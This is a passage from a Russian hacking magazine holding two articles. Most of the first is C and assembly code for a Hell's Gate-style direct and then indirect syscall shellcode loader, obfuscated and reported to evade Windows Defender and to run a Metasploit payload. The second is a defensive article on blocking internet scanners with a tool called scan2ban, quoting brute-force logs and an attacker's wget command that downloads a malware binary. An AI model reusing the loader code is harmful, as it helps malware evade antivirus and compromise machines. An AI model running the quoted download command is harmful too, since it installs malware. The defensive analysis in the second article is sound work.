 0            mov wSystemCall, eax        ; wSystemCall =
 eax  ssn            mov eax, ecx            ; =
 r8d  eax  ssn            mov r8d, eax            ; = =

 r8d  eax  
ssn 
           mov wSystemCall, r8d        ; wSystemCall = = =

           ret 
   SetSSn ENDP 

   RunSyscall PROC 
 r10  0            xor r10, r10            ; =
 rax  rcx            mov rax, rcx            ; =
 r10  rax  rcx            mov r10, rax            ; = =

 eax  ssn            mov eax, wSystemCall        ; =
           jmp Run                  ; goto 'Run'
           xor eax, eax     ; no run 
           xor rcx, rcx     ; no run 
           shl r10, 2       ; no run 
       Run: 
           syscall 
           ret 
   RunSyscall ENDP 

end 

Итак, в фун кции  сна чала мы ксо рим регис тры друг с дру гом, что при- 

водит к обну лению находя щего ся в них зна чения. Получен ное зна чение
записы ваем в перемен ную, которая будет содер жать номер сис кола, переки- 
дыва ем из одно го регис тра в дру гой и, наконец, записы ваем нуж ный SSN
в перемен ную.

SetSSn

Фун кция  осо бо ничем не отли чает ся — в ней лишь была
добав лена мет ка.

RunSyscall

ÏÐÅÄÂÀÐÈÒÅËÜÍÛÉ ÐÅÇÓËÜÒÀÒ

У нас поч ти все готово: алго ритм перепи сан, хеши сге нери рова ны, ассем- 
блер ный код сла бень ко, но обфусци рован. Оста ется лишь испра вить пос- 
ледние струк туры. В Hell’s Gate есть таб лица , которая содер жит

струк туры фун кций . Их нуж но засис колить. Так

как  мы уже изме нили, оста лось лишь перепи сать саму
.

VX_TABLE
VX_TABLE_ENTRY

VX_TABLE_ENTRY
VX_TABLE

  typedef struct _NTAPI_FUNC
{
     NT_SYSCALL NtAllocateVirtualMemory;
     NT_SYSCALL NtProtectVirtualMemory;
     NT_SYSCALL NtCreateThreadEx;
     NT_SYSCALL NtWaitForSingleObject;

 }NTAPI_FUNC, *PNTAPI_FUNC;

// Глобальная переменная
     NTAPI_FUNC g_Nt = { 0 };

Ини циали зацию этой струк туры вновь выносим в отдель ную фун кцию
.InitializeNtSyscalls()

  BOOL InitializeNtSyscalls() {

     
 

if (!FetchNtSyscall(NtAllocateVirtualMemory_CRC32, &g_Nt.
NtAllocateVirtualMemory)) {
       printf("[!] Failed In Obtaining The Syscall Number Of 
NtAllocateVirtualMemory \n");

        return FALSE;
   }
   

 
printf("[+] Syscall Number Of NtAllocateVirtualMemory Is : 0x%0.

2X \n", g_Nt.NtAllocateVirtualMemory.dwSSn);

     
 

if (!FetchNtSyscall(NtProtectVirtualMemory_CRC32, &g_Nt.
NtProtectVirtualMemory)) {
       printf("[!] Failed In Obtaining The Syscall Number Of 
NtProtectVirtualMemory \n");

        return FALSE;
   }
   

 
printf("[+] Syscall Number Of NtProtectVirtualMemory Is : 0x%0.

2X \n", g_Nt.NtProtectVirtualMemory.dwSSn);

     
 

if (!FetchNtSyscall(NtCreateThreadEx_CRC32, &g_Nt.
NtCreateThreadEx)) {
       printf("[!] Failed In Obtaining The Syscall Number Of 
NtCreateThreadEx \n");

        return FALSE;
   }
    printf("[+] Syscall Number Of NtCreateThreadEx Is : 0x%0.2X \n",
g_Nt.NtCreateThreadEx.dwSSn);

     
 

if (!FetchNtSyscall(NtWaitForSingleObject_CRC32, &g_Nt.
NtWaitForSingleObject)) {
       printf("[!] Failed In Obtaining The Syscall Number Of 
NtWaitForSingleObject \n");

        return FALSE;
   }
   

 
printf("[+] Syscall Number Of NtWaitForSingleObject Is : 0x%0.2X 

\n", g_Nt.NtWaitForSingleObject.dwSSn);

    return TRUE;
}

Здесь , 
и тому подоб ные — зна чения, которые были сге нери рова ны ранее
с помощью прог раммы-хешера.

NtAllocateVirtualMemory_CRC32 NtProtectVirtualMemory_CRC32

В резуль тате наших манипу ляций глав ная фун кция  при обре тает
сле дующий вид.

main()

  int main() {

        NTSTATUS STATUS      = NULL;
        PVOID       pAddress = NULL;
    SIZE_T      sSize       = sizeof(Payload);
    DWORD       dwOld       = NULL;
           HANDLE      hProcess = (HANDLE)-1, // Текущий процесс

                     hThread = NULL;

     if (!InitializeNtSyscalls()) {
       printf("[!] Failed To Initialize The Specified 
Direct-Syscalls \n");

        return -1;
   }

   SetSSn(g_Nt.NtAllocateVirtualMemory.dwSSn);
          

         
 

if ((STATUS = RunSyscall(hProcess, &pAddress, 0, &sSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) != 0x00 || pAddress ==
NULL) {

 
       printf("[!] NtAllocateVirtualMemory Failed With Error: 0x%0.
8X \n", STATUS);

        return -1;
   }

     memcpy(pAddress, Payload, sizeof(Payload));
     sSize = sizeof(Payload);

   SetSSn(g_Nt.NtProtectVirtualMemory.dwSSn);
         

    
if ((STATUS = RunSyscall(hProcess, &pAddress, &sSize,

PAGE_EXECUTE_READ, &dwOld)) != 0x00) {

 
       printf("[!] NtProtectVirtualMemory Failed With Error: 0x%0.
8X \n", STATUS);

        return -1;
   }

   SetSSn(g_Nt.NtCreateThreadEx.dwSSn);
         

          
if ((STATUS = RunSyscall(&hThread, THREAD_ALL_ACCESS, NULL,

hProcess, pAddress, NULL, FALSE, NULL, NULL, NULL, NULL)) != 0x00) {
        printf("[!] NtCreateThreadEx Failed With Error: 0x%0.8X \n",

STATUS);
        return -1;

   }

   SetSSn(g_Nt.NtWaitForSingleObject.dwSSn);
           if ((STATUS = RunSyscall(hThread, FALSE, NULL)) != 0x00) {

 
       printf("[!] NtWaitForSingleObject Failed With Error: 0x%0.8X 
\n", STATUS);

        return -1;
   }

   printf("[#] Press <Enter> To Quit ... ");
   getchar();

    return 0;
}

Ме тод выпол нения шелл-кода я не менял, оста вил стан дар тный
. Итак, пора про верять на анти виру сах!NtCreateThreadEx()

Defender 0 Detect

Ре зуль тат не может не радовать. Теперь изме няем шелл-код, будем запус- 
кать Metasploit.

Ус пешный обход

Продолжение статьи →



ПЕРЕПИСЫВАЕМ HELL’S GATE 
И ОБХОДИМ АНТИВИРУС

КОДИНГ  НАЧАЛО СТАТЬИ←

Вы пол нение команд

ÏÐÅÂÐÀÙÅÍÈÅ Â INDIRECT SYSCALL

Убе див шись, что наше чудо работа ет, при ведем его к окон чатель ному виду.
То, что мы соз дали, называ ется Direct Syscall — вызов сис кола путем встав ки
в код прог раммы инс трук ции . Такой метод самую малость шум новат,

так как инс трук ция  нехарак терна для обыч ных исполня емых фай лов.

syscall
syscall

По умол чанию эта инс трук ция при сутс тву ет толь ко в фай ле .
Поэто му пред лагаю переде лать нашу прог рамму под Indirect Syscalls. Реали- 
зация через кос венные вызовы зак люча ется в том, что в нашем коде будет
отсутс тво вать вызов инс трук ции . Вмес то это го мы собс твен норуч но

обна ружим адрес этой инс трук ции в , а затем обра тим ся к нему,
что спро воци рует вызов и переход в Kernel Mode.

ntdll.dll

syscall
ntdll.dll

Сна чала изме няем струк туру , теперь в ней еще будет лежать

и адрес инс трук ции .

NT_SYSCALL
syscall

  typedef struct _NT_SYSCALL
{
    DWORD dwSSn;
    DWORD dwSyscallHash;
    PVOID pSyscallAddress;
         PVOID pSyscallInstAddress; // Адрес будет вот тут

  }NT_SYSCALL, * PNT_SYSCALL;

Сле дующим шагом изме ним фун кцию , добавив в нее воз- 

можность поис ка адре са инс трук ции  в адресном прос транс тве
. Поиск вновь дела ем по пат тернам в памяти. Нам тре бует ся най ти

 и , что соот ветс тву ет нуж ной инс трук ции.

FetchNtSyscall()
syscall

ntdll.dll
0x0f 0x05

Оп коды инс трук ции syscall

Для поис ка пред лагаю исполь зовать алго ритм по добав лению к адре су фун- 
кции в  зна чения . Этот адрес, если что, на момент поис ка инс трук- 

ции  будет лежать в .

ntdll 0xFF
syscall pSyscallAddress

#define RANGE 500

...
        ULONG_PTR uFuncAddress = (ULONG_PTR)pNtSys->pSyscallAddress +
0xFF;

                for (DWORD z = 0, x = 1; z <= RANGE; z++, x++) {
       
     

       if (*((PBYTE)uFuncAddress + z) == 0x0F && *((PBYTE)
uFuncAddress + x) == 0x05) {

               pNtSys->pSyscallInstAddress = ((ULONG_PTR)uFuncAddress +
z);
           break;
       }
   }

Этот код добав ляем в конец фун кции .FetchNtSyscalls()

#define RANGE 500
       BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {

     if (!g_NtdllConf.uModule) {
        if (!InitNtdllConfigStructure())

            return FALSE;
   }

      if (dwSysHash != NULL)
         pNtSys->dwSyscallHash = dwSysHash;

   else
        return FALSE;

            for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++) {
           ...
   }

    if (!pNtSys->pSyscallAddress)
        return FALSE;

        ULONG_PTR uFuncAddress = (ULONG_PTR)pNtSys->pSyscallAddress +
0xFF;

                for (DWORD z = 0, x = 1; z <= RANGE; z++, x++) {
       
     

       if (*((PBYTE)uFuncAddress + z) == 0x0F && *((PBYTE)
uFuncAddress + x) == 0x05) {

               pNtSys->pSyscallInstAddress = ((ULONG_PTR)uFuncAddress +
z);
           break;
       }
   }

            
      

if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL &&
pNtSys->dwSyscallHash != NULL && pNtSys->pSyscallInstAddress != NULL)

        return TRUE;
   else

        return FALSE;

}

За тем сле дует изме нить ассем блер ный код, а имен но фун кции 

и . Рань ше  тре бовал толь ко SSN сис темно го вызова,
а затем исполь зовал  для его выпол нения. Теперь в 

переда ется еще и зна чение  — адрес инс трук ции

.

SetSSn
RunSyscall SetSSn

RunSyscall SetSSn
qSyscallInsAdress

syscall
Из регис тров  и , которые ини циали зиру ются при вызове фун кции,

копиру ются номер сис кола и адрес. А затем в фун кции  мы

заносим номера сис кола в реестр  и перехо дим по адре су инс трук ции

, что при водит к выпол нению Indirect-сис кола.

ecx rdx
RunSyscall()

eax
syscall

.data 

 wSystemCall       DWORD   0h 
 qSyscallInsAdress QWORD   0h 

.code 

 SetSSn PROC 
     mov wSystemCall, 0h 
     mov qSyscallInsAdress, 0h 
     mov wSystemCall, ecx 
     mov qSyscallInsAdress, rdx 
     ret 
 SetSSn ENDP 

 RunSyscall PROC 
     mov r10, rcx 
     mov eax, wSystemCall 
     jmp qword ptr [qSyscallInsAdress] 
     ret 
 RunSyscall ENDP 

end 

Ну и чуть-чуть обфусци руем наше тво рение.

.data 
   wSystemCall         DWORD   0h 
   qSyscallInsAdress   QWORD   0h 

.code 
       SetSSn proc 

 eax  0        xor eax, eax                          ; =
 0        mov wSystemCall, eax                  ; wSystemCall =

 0        mov qSyscallInsAdress, rax            ; qSyscallInsAdress =
 eax  ssn        mov eax, ecx                          ; =

 eax  
ssn 
       mov wSystemCall, eax                  ; wSystemCall = =

 r8        mov r8, rdx                           ; = 
AddressOfASyscallInst 

 
r8 
       mov qSyscallInsAdress, r8             ; qSyscallInsAdress =
= AddressOfASyscallInst 

       ret 
       SetSSn endp 

       RunSyscall proc 
 r10  0        xor r10, r10                          ; =
 rax  rcx        mov rax, rcx                          ; =
 r10  rax  rcx       mov r10, rax                          ; = =
 eax  ssn        mov eax, wSystemCall                  ; =

       jmp Run 
       xor eax, eax      ; wont run 
       xor rcx, rcx      ; wont run 
       shl r10, 2        ; wont run 
   Run: 
       jmp qword ptr [qSyscallInsAdress] 

 r10  0        xor r10, r10                        ; =
 0        mov qSyscallInsAdress, r10          ; qSyscallInsAdress =

       ret 
     RunSyscall endp 

end 

Что бы каж дый раз не ука зывать эле мен ты струк туры , мож но

написать мак рос, который авто мати чес ки дер нет  с нуж ными парамет- 

рами, если ему переда дут экзем пляр струк туры.

NT_SYSCALL
SetSSn

#define SET_SYSCALL(NtSys)(SetSSn((DWORD)NtSys.dwSSn,(PVOID)NtSys.
pSyscallInstAddress))

В резуль тате получа ем эле ган тный кусок кода.

     NT_SYSCALL NtAllocateVirtualMemory = { 0 };
 FetchNtSyscall(NtAllocateVirtualMemory_Hash, &NtAllocateVirtualMemory

);

SET_SYSCALL(NtAllocateVirtualMemory);
RunSyscall(/* параметры для NtAllocateVirtualMemory  */);

Все нуж ные фун кции будут по-преж нему хра нить ся в струк туре ,

надо лишь чуть поп равить ини циали зиру ющую фун кцию
.

NTAPI_FUNC

InitializeNtSyscalls()

  BOOL InitializeNtSyscalls() {

     
 

if (!FetchNtSyscall(NtAllocateVirtualMemory_CRC32, &g_Nt.
NtAllocateVirtualMemory)) {
       printf("[!] Failed In Obtaining The Syscall Number Of 
NtAllocateVirtualMemory \n");

        return FALSE;
   }
   

 
 

printf("[+] Syscall Number Of NtAllocateVirtualMemory Is : 0x%0.
2X \n\t\t>> Executing 'syscall' instruction Of Address : 0x%p\n",
g_Nt.NtAllocateVirtualMemory.dwSSn, g_Nt.NtAllocateVirtualMemory.
pSyscallInstAddress);

     
 

if (!FetchNtSyscall(NtProtectVirtualMemory_CRC32, &g_Nt.
NtProtectVirtualMemory)) {
       printf("[!] Failed In Obtaining The Syscall Number Of 
NtProtectVirtualMemory \n");

        return FALSE;
   }
   

 
 

printf("[+] Syscall Number Of NtProtectVirtualMemory Is : 0x%0.
2X \n\t\t>> Executing 'syscall' instruction Of Address : 0x%p\n",
g_Nt.NtProtectVirtualMemory.dwSSn, g_Nt.NtProtectVirtualMemory.
pSyscallInstAddress);

     
 

if (!FetchNtSyscall(NtCreateThreadEx_CRC32, &g_Nt.
NtCreateThreadEx)) {
       printf("[!] Failed In Obtaining The Syscall Number Of 
NtCreateThreadEx \n");

        return FALSE;
   }
   

 
 

printf("[+] Syscall Number Of NtCreateThreadEx Is : 0x%0.2X \n\t\
t>> Executing 'syscall' instruction Of Address : 0x%p\n", g_Nt.
NtCreateThreadEx.dwSSn, g_Nt.NtCreateThreadEx.pSyscallInstAddress);

     
 

if (!FetchNtSyscall(NtWaitForSingleObject_CRC32, &g_Nt.
NtWaitForSingleObject)) {
       printf("[!] Failed In Obtaining The Syscall Number Of 
NtWaitForSingleObject \n");

        return FALSE;
   }
   

 
 

printf("[+] Syscall Number Of NtWaitForSingleObject Is : 0x%0.2X 
\n\t\t>> Executing 'syscall' instruction Of Address : 0x%p\n", g_Nt.
NtWaitForSingleObject.dwSSn, g_Nt.NtWaitForSingleObject.
pSyscallInstAddress);

    return TRUE;
}

И финаль ное — :main()

  int main() {

        NTSTATUS STATUS      = NULL;
        PVOID       pAddress = NULL;
    SIZE_T      sSize       = sizeof(Payload);
    DWORD       dwOld       = NULL;
        HANDLE      hProcess = (HANDLE)-1,

                     hThread = NULL;

     if (!InitializeNtSyscalls()) {
       printf("[!] Failed To Initialize The Specified 
Indirect-Syscalls \n");

        return -1;
   }

   SET_SYSCALL(g_Nt.NtAllocateVirtualMemory);
          

         
 

if ((STATUS = RunSyscall(hProcess, &pAddress, 0, &sSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) != 0x00 || pAddress ==
NULL) {

 
       printf("[!] NtAllocateVirtualMemory Failed With Error: 0x%0.
8X \n", STATUS);

        return -1;
   }

     memcpy(pAddress, Payload, sizeof(Payload));
     sSize = sizeof(Payload);

   SET_SYSCALL(g_Nt.NtProtectVirtualMemory);
         

    
if ((STATUS = RunSyscall(hProcess, &pAddress, &sSize,

PAGE_EXECUTE_READ, &dwOld)) != 0x00) {

 
       printf("[!] NtProtectVirtualMemory Failed With Status : 0x%0.
8X\n", STATUS);

        return -1;
   }

   SET_SYSCALL(g_Nt.NtCreateThreadEx);
         

          
if ((STATUS = RunSyscall(&hThread, THREAD_ALL_ACCESS, NULL,

hProcess, pAddress, NULL, FALSE, NULL, NULL, NULL, NULL)) != 0x00) {
        printf("[!] NtCreateThreadEx Failed With Status : 0x%0.8X\n",

STATUS);
        return -1;

   }

   SET_SYSCALL(g_Nt.NtWaitForSingleObject);
           if ((STATUS = RunSyscall(hThread, FALSE, NULL)) != 0x00) {

 
       printf("[!] NtWaitForSingleObject Failed With Error: 0x%0.8X 
\n", STATUS);

        return -1;
   }

   printf("[#] Press <Enter> To Quit ... ");
   getchar();

    return 0;
}

ÔÈÍÀËÜÍÛÉ ÂÀÐÈÀÍÒ

Итак, про ект был перепи сан под Indirect-сис колы, ассем блер ный лис тинг
обфусци рован, логика поис ка улуч шена. Само собой, этот вари ант ста нет
еще более незамет ным и скры тым от анти вирус ных прог рамм!

Ре зуль таты ска ниро вания на VT

Defender мол чит

Поз драв ляю, мы добились жела емо го резуль тата!



ЗАЩИЩАЕМ ПЕРИМЕТР 
ОТ СКАНЕРОВ И БОТОВ

xak745
i@brumbad.ru

АДМИН

Дав но прош ли вре мена тра вояд ного
интерне та, ког да машина, све тящая неп- 
рикры тым сетевым сте ком на белом адре- 
се, име ла хорошие шан сы жить годами,
а сло во CVE зна ла лишь куч ка спе циалис- 
тов. Ста тис тика говорит, что до момен та,
пока ано ним ный разум нащупа ет неос- 
торож но откры тый порт Telnet, прой дет око- 
ло двух минут, Redis — шесть минут, веб
на 8080 — две над цать, а Android Debug
Bridge — двад цать.

И пар ни с той сто роны, конеч но, не прос то собира ют дан ные для дис серта- 
ции. Что бы в этом убе дить ся, дос таточ но открыть SSH и пос мотреть, как в
течение получа са в твой порт набь ется целая коман да спе циалис тов по чужой
безопас ности, генери рующих записи вро де таких:

 

 

 

 

 

 

 

 

sshd[198760]: Failed password for www-data from 82.154.230.131 port 
65229 ssh2

sshd[198760]: Received disconnect from 82.154.230.131 port 65229:11: Bye 
Bye [preauth]

sshd[198760]: Disconnected from authenticating user www-data 
82.154.230.131 port 65229 [preauth]

sshd[198766]: Invalid user bkp from 103.152.18.138 port 51314

sshd[198766]: pam_unix(sshd:auth): check pass; user unknown

sshd[198766]: pam_unix(sshd:auth): authentication failure; logname= 
uid=0 euid=0 tty=ssh ruser= rhost=103.152.18.138

sshd[198766]: Failed password for invalid user bkp from 103.152.18.138 
port 51314 ssh2

Не надо быть сот рудни ком ИБ-отде ла, что бы догадать ся, какие имен но
иссле дова ния про водят эти граж дане. И изба вить ся от их назой ливого вни- 
мания дос таточ но слож но. Уж если вце пились, то к про цес су будут под клю- 
чать ся всё новые и новые адре са, и вот уже кажет ся, что весь интернет сидит
и под бира ет пароли к тво ей машине.

Ес ли говорить язы ком цифр, то за час любой адрес IPv4 (даже не отве- 
чающий вооб ще ни на что) опра шива ется более 300 раз с полуто ра сотен
источни ков. За месяц будут опро шены все пор ты до одно го, за две недели —
65 000, а за неделю — 63 000. В общем, «неболь шой», но мно гочис ленный
брат еще как сле дит.

Учи тывая, что, даже если инфраструк туру тво ей ком пании обслу жива ет
коман да опыт ных спе циалис тов, которые быс тро и решитель но накаты вают
све жие обновле ния, не запус кают «на пять минут» какую-нибудь служ бу
(которая потом висит годами) и не вык ладыва ют по-быс тро му фай лики
для суб подряд чиков (ну кто там его най дет на нашем сек ретном пор те, хе-хе),
все рав но оста ется неус тра нимое «окно уяз вимос ти».

Экс пло ит уже в работе, а раз работ чики еще тес тиру ют патч, а потом поль- 
зовате ли его рас катыва ют — пока все это про вер нется, ата кующая сто рона,
имея пред варитель но соб ранную базу отпе чат ков, быс тро и точ но по ним
отра бота ет. А то и прос то вос поль зует ся поис ковика ми интерне та вещей,
которые раз дают дос туп к такой информа ции через API за весь ма скром ное
воз награж дение. Да и прос тое ска ниро вание при помощи какого-нибудь
ZMap поз воля ет, не при ходя в соз нание, сос тавить гру бый спи сок целей,
по которым сле дом летит наг рузка. Кто не спря тал ся — его проб лемы.

Го раз до луч ше, если охот ники на чужое о внеш них служ бах прос то
не будут знать, по край ней мере до момен та, пока нап рямую не заин тересу- 
ются.

ÏÎÑÒÀÍÎÂÊÀ ÇÀÄÀ×È

Ра боты по защите перимет ра от ска ниро вания мож но раз бить на две час ти.
Пер вая — это фор мирова ние стоп-лис та с адре сами, намере ния которых
вызыва ют воп росы (или, наобо рот, никаких воп росов уже нет); вто рая — рас- 
пре деле ние и при мене ние это го спис ка по машинам.

Ни одна, ни дру гая задача не пред став ляют слож ности в пла не реали- 
зации, но для ком плексно го решения пот ребу ется допол нитель ная логика
и какой-то фор мат, в котором будет удоб но хра нить и ана лизи ровать дан ные.

Де лать такой ком байн толь ко для себя не очень целесо образно, поэто му,
ког да ста ло ясно, что парой скрип тов и unit-фай лом дело не обой дет ся, я
решил соз дать более-менее уни вер саль ный про ект, при год ный для исполь- 
зования все ми, кому тема инте рес на.

Так родил ся про ект scan2ban, который помога ет мне защищать машины
от ненуж ного вни мания и, воз можно, при годит ся и тебе. Даль ше я покажу,
как работа ют раз ные его модули и чего уда ется добить ся с их при мене нием.

Ис ходни ки про екта в моем репози тории

ÓÃÐÎÇÛ È ÍÅÉÒÐÀËÈÇÀÖÈß

Ес ли кому-то кажет ся, что ска ниро вание — это вещь прос тая и вари антов тут
нет, то он оши бает ся. За вре мя наб людения я выявил три раз ных типа.

 Тут все понят но: заряди ли перебор пор тов, не осо бо скры ваясь,

и сидим ждем. Ска ниро вать могут на пос тоян ной осно ве или одно разо во,
но всег да с одно го адре са. Это лег ко выявить и заб локиро вать. Если нам
прис лали три пакета и ни один не попал в откры тый порт, то доб ро пожало- 
вать в блок. На момент написа ния статьи пер вая десят ка самых активных
источни ков это го клас са за месяц выг лядела так.

Ñêà íåð.

 Это менее замет ные пер сонажи. Их дей ствия выг лядят так:
со слу чай ного адре са при лета ет зап рос на какой-то кон крет ный порт, и толь- 
ко на него. Бло киро вать такое ска ниро вание по счет чику бес полез но, в сле- 
дующий раз ван шотер появит ся не ско ро и точ но так же опро сит один порт.
При этом пер вое обра щение все рав но прой дет (если у тебя есть соот ветс- 
тву ющая служ ба). Таких зап росов во вхо дящем тра фике абсо лют ное боль- 
шинс тво, без малого 80%. Вот как это выг лядит на про тяже нии месяца.

Âàí øîòåðû.

A/B/C — это мар кер аген та, куда зап рос при шел. Здесь бло киро вать мож но
толь ко пре вен тивно. Этим занима ется модуль greyport, который пов торя ет
идею серых спис ков для поч ты. По умол чанию все пор ты зак рыты, и, что бы
получить дос туп, надо пов торить зап рос задан ное чис ло раз (чис ло пов торов,
задер жку отсче та и кон троль ный интервал мож но задать в нас трой ках
модуля).

В общем слу чае это не дос тавля ет неудобств, кро ме замед ленно го пер- 
вого соеди нения. Дос туп для адре са по умол чанию откры вает ся на сут ки,
потом про цеду ра пов торит ся. Эффектив ность не стоп роцен тная, но, задав
чис ло пов торов рав ное одно му, мож но отбить те самые 80% про ходим цев,
два отва дят 90%, три — от 95%. Но три — это уже сов сем пре дел. Сетевой
стек на сто роне кли ента боль ше пяти зап росов, как пра вило, не отправ ляет,
и отле тать нач нут уже нор маль ные кли енты.

На качес тво работы greyport вли яет в том чис ле номер пор та. Выше я при- 
вел парамет ры эффектив ности для пор тов 80 и 22, а для Elasticsearch (9200)
задер жка толь ко одно го пер вого пакета отби вает 99 зап росов из 100.

Так же на при мере ска неров это го клас са мож но оце нить ско рость работы
«пар тне ров» по про изводс твен ному про цес су. Из таб лицы вид но, что задер- 
жка меж ду пакета ми варь иру ется от секунд (для сосед них адре сов) до часов,
если сег менты раз ные. Одна ко тут есть сущес твен ный эле мент слу чай нос ти.
Нап ример, во вре мя под готов ки выбор ки я нашел при мер, ког да адре са
из раз ных (силь но раз ных) сетей были опро шены с раз ницей в две секун ды,
зато сосед ние — с раз ницей в две минуты.

Тре тий тип ска неров самый спо кой ный. Эти пери оди чес ки пос тукива ют то
тут, то там. Выг лядит это сле дующим обра зом.

 — это третья катего рия. От них зап- 

росы при ходят бес систем но, адре са опра шива ют враз нобой. Быва ет, опра- 
шива ют нес коль ко раз с раз ных адре сов. У них целые сетевые сег менты
и «одоб рямс» от про вай дера, так что мож но раз мазывать зап росы
по источни кам и вооб ще никуда не спе шить.

Ïî èñêî âèêè ïî èíòåðíå òó âåùåé

Для работы с подоб ными кли ента ми пред назна чен модуль lazyscan,
который про веря ет, сколь ко событий с адре са было зарегис три рова но
за доволь но дли тель ный пери од (по умол чанию неделя, а иног да и это го
мало). И если выяс няет ся, что источник занима ется сво им делом сис темати- 
чес ки, модуль так же нес пешно (пока наберет ся ста тис тика), но надол го
перево дит его в спи сок заб локиро ван ных.

Та ких субъ ектов за три месяца наб людений наб ралось более 5000, тем пы
попол нения упа ли, но по 50–60 новых адре сов в сут ки про дол жает добав- 
лять ся.

Вла дель цы «легаль ных» ска неров пред лага ют писать им пись ма в слу чае,
если их активность кому-то не нра вит ся. Теоре тичес ки, пос ле того как ты
докажешь, что явля ешь ся вла дель цем диапа зона, который хочешь исклю чить
из опро сов, они боль ше не пот ревожат. Но такие дей ствия боль ше напоми- 
нают замазы вание кус ков спут никовых карт — луч шего спо соба прив лечь
вни мание не при думать.

Да и осо бого смыс ла слать пись ма нет, так как на одно го доб ропоря доч- 
ного при ходит ся пять менее отзывчи вых, жаловать ся на которых мож но раз ве
что в спор тло то. Поэто му опти маль ной так тикой выг лядит мол чаливый блок,
что еще и эко номит силы.

ÃÎÐØÎÊ Ñ ÍÀÐÈÑÎÂÀÍÍÛÌ ÌÅÄÎÌ

Да вай гля нем на уро вень выше и пос мотрим, чем наши любите ли ска ниро- 
вать инте ресу ются в пла не прик ладных про токо лов, в час тнос ти HTTP. Столь
любимые все ми веб-админки, REST и про чие чудеса — это удобс тво не толь- 
ко для вла дель ца сер виса, но и для обла дате ля тай ного зна ния. Отпра вив
хит рый зап рос, он попол нит ряды адми нис тра торов устрой ства без вся ких
там ROP, heap spraying и дру гих страш ных слов. Для кон тро ля за подоб ной
активностью есть модуль, раз бира ющий зап росы к Nginx и посиль но их клас- 
сифици рующий.

Кро ме уны лых сбор щиков Git-репози тори ев, содер жимого  и 

 (нет, это не попыт ка зах ватить кон троль над медицин ским
манипу лято ром), на момент написа ния статьи самым популяр ным зап росом
был , нап равлен ный на изде лия ком пании Zyxel,

которые начали болеть, ког да это еще не было мей нстри мом, и про дол жают
до сих пор.

/files /
actuator/health

POST /cgi-bin/ViewLog.asp

Сле дом идет отно ситель но све жий зап рос 

 и сто ящая за ними орда роуте ров LB-LINK, которые
вес ной это го года син хрон но воз будились и начали искать в сети себе
подоб ных. Третье мес то — за про дук том ThinkPHP и зап росами вида 

POST /goform/
set_LimitClient_cfg

GET /
index.php?s=/index/\x09hink...

Вся ких зап росов к phpMyAdmin, GeoServer и про чим CGI — нет чис ла.
Отдель но сто ят регуляр ные попыт ки зас тавить ска чать файл «с сур пры зом»,
вот прям так и пишут 

. Если этот файл запус тить (вни мание, не пов торяй
это го!), он выведет что-нибудь вооду шев ляющее типа «Infected by Cult», грох- 
нет гра фичес кую сес сию, запус тит про цесс-дру гой со слу чай ными име нами
и нач нет уси лен но выкачи вать из интерне та вся кое.

wget [http://x.x.x.x/bins/VuVhU33С](http://x.x.
x.x/bins/UnHAnaAW.x86)

В самом фай ле вид на мас са строк со сло вами p0wned и l33t впе ремеш ку
с иди ома тичес кими выраже ниями, а анти вирус при виде фай ла раз ве что
не тре бует рас колотить диск молот ком. Из чего мож но сде лать вывод, что
обфуска цией ник то не замора чива ется, так как средс тва защиты от вре- 
донос ного ПО на Linux ско рее исклю чение, чем пра вило. Хотя эта тен денция
явно намека ет, что пора их гро моз дить в том чис ле и на роуте ры, если, конеч- 
но, мы не хотим в пер спек тиве вер нуть ся к плат ному тра фику как единс твен- 
ному спо собу зас тавить вла дель цев сле дить за сво ими устрой ства ми.
В общем, всё как обыч но.

Из редка логи под бра сыва ют инте рес ное. Нап ример, у сле дующе го граж- 
данина что-то пош ло не так, и пос ле совер шенно ней траль ного зап роса 

 (я тут типа мимок рокодил) он неожи дан но засе ял логи сво им богатым внут- 

ренним миром.

GET 
/

Ес ли декоди ровать Base64, то появ ляют ся строч ки вро де 

и , что как бы намека ет, чем этот пер сонаж занима ется.
Любите ли вдум чивой ана лити ки могут поп робовать рас шифро вать пос лание
из пос ледних четырех строк: воз можно, гос подину Бэт мену тре бует ся
помощь.

Trojan_C46F6E9
HacKed_D4990627

ÐÅÀÃÈÐÓÅÌ ÍÀ ÑÎÁÛÒÈß

Те кущее сос тояние бло киро вок хра нит ся в базе дан ных (SQLite, но луч ше
Postgres), но пос тоян но опра шивать БД на пред мет новых записей, если
вдруг нужен спи сок на сто роне, не самая удач ная идея, поэто му есть модуль
response. Он поз воля ет вызывать внеш ние сце нарии, ког да про изош ло
какое-то событие. Это полез но для собс твен ной авто мати зации, нап ример
для момен таль ного рас кидыва ния бло киро вок. А мож но под весить чат-бота,
который будет стро чить жалобы опе рато рам сетей (а отве чать ему будет дру- 
гой чат-бот, очень удоб но).

Ê ÂÎÏÐÎÑÓ Î «ÏÎÏÈÍÃÓßÕ»

В былые вре мена опре делен ную популяр ность име ла так тика бло киров ки
ICMP как спо соб сни зить инте рес к сво им машинам. Я поп робовал срав нить
вхо дящий поток на стен де, который отве чал на эхо, с зап росами к машине,
которая вооб ще никак не выда ет сво его при сутс твия, и не нашел зна читель- 
ной раз ницы.

Зна чит, сей час такие меры не работа ют и подой дут раз ве что для само-
обма на. Воз можно, во вре мена 2400/NONE про пуск «мол чаливых» машин
давал сущес твен ную эко номию в ско рос ти сбо ра информа ции, но сей час
проб лем с про пус кной спо соб ностью сети нет и, зап рещая эти про токо лы, ты
толь ко соз даешь боль ше проб лем себе.

Па рано ики, конеч но, могут повол новать ся, что при откры том ICMP повер- 
хность ата ки боль ше и, ана лизи руя отве ты, мож но наб рать чего-нибудь инте- 
рес ного. Одна ко сов ремен ный хакер ско рее будет рас сылать мал варь
по поч те (в луч шем слу чае шиф руя ее архи вато ром и тре буя от поль зовате ля
ввес ти пароль), поэто му, на мой взгляд, такие пре дос торож ности излишни.

Продолжение статьи →

mailto:i@brumbad.ru
https://gitflic.ru/project/konsul/scan2ban


ЗАЩИЩАЕМ ПЕРИМЕТР 
ОТ СКАНЕРОВ И БОТОВ

АДМИН  НАЧАЛО СТАТЬИ←

ÊÒÎ ÑÒÓ×ÈÒÑß Â ÄÂÅÐÜ ÌÎß?

Со бира емая база событий поз воля ет поболь ше узнать о гос тях. Для начала
